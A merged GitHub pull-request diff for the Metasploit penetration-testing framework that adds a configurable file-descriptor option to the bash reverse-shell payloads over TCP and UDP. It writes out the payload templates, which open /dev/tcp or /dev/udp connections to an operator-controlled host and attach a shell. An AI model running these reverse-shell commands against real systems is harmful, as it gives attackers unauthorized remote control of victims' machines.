Skip to content
Merged
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
3 changes: 2 additions & 1 deletion lib/msf/util/payload_cached_size.rb
Original file line number Diff line number Diff line change
Expand Up @@ -30,7 +30,8 @@ class PayloadCachedSize
'DNSZONE' => 'corelan.eu',
'PEXEC' => '/bin/sh',
'HttpUserAgent' => 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0',
'StagerURILength' => 5
'StagerURILength' => 5,
'FD' => 100
},
'Encoder' => nil,
'DisableNops' => true
Expand Down
5 changes: 3 additions & 2 deletions modules/payloads/singles/cmd/unix/reverse_bash.rb
Original file line number Diff line number Diff line change
Expand Up @@ -4,7 +4,7 @@
##

module MetasploitModule
CachedSize = :dynamic
CachedSize = 79

include Msf::Payload::Single
include Msf::Sessions::CommandShellOptions
Expand Down Expand Up @@ -37,6 +37,7 @@ def initialize(info = {})
)
register_advanced_options(
[
OptInt.new('FD', [false, 'The file descriptor to use for bash redirection']),
OptString.new('BashPath', [true, 'The path to the Bash executable', 'bash']),
OptString.new('ShellPath', [true, 'The path to the shell to execute', 'sh'])
]
Expand All @@ -55,7 +56,7 @@ def generate(_opts = {})
# Returns the command string to use for execution
#
def command_string
fd = rand(20..219)
fd = datastore['FD'] || rand(20..219)
return "#{datastore['BashPath']} -c '0<&#{fd}-;exec #{fd}<>/dev/tcp/#{datastore['LHOST']}/#{datastore['LPORT']};#{datastore['ShellPath']} <&#{fd} >&#{fd} 2>&#{fd}'"
# same thing, no semicolons
# return "/bin/bash #{fd}<>/dev/tcp/#{datastore['LHOST']}/#{datastore['LPORT']} <&#{fd} >&#{fd}"
Expand Down
5 changes: 3 additions & 2 deletions modules/payloads/singles/cmd/unix/reverse_bash_udp.rb
Original file line number Diff line number Diff line change
Expand Up @@ -4,7 +4,7 @@
##

module MetasploitModule
CachedSize = :dynamic
CachedSize = 89

include Msf::Payload::Single
include Msf::Sessions::CommandShellOptions
Expand Down Expand Up @@ -40,6 +40,7 @@ def initialize(info = {})
)
register_advanced_options(
[
OptInt.new('FD', [false, 'The file descriptor to use for bash redirection']),
OptString.new('BashPath', [true, 'The path to the Bash executable', 'bash']),
OptString.new('ShellPath', [true, 'The path to the shell to execute', 'sh'])
]
Expand All @@ -58,7 +59,7 @@ def generate(_opts = {})
# Returns the command string to use for execution
#
def command_string
fd = rand(20..219)
fd = datastore['FD'] || rand(20..219)
return "#{datastore['BashPath']} -c '0<&#{fd}-;exec #{fd}<>/dev/udp/#{datastore['LHOST']}/#{datastore['LPORT']};echo>&#{fd};#{datastore['ShellPath']} <&#{fd} >&#{fd} 2>&#{fd}'"

# no semicolons
Expand Down
Loading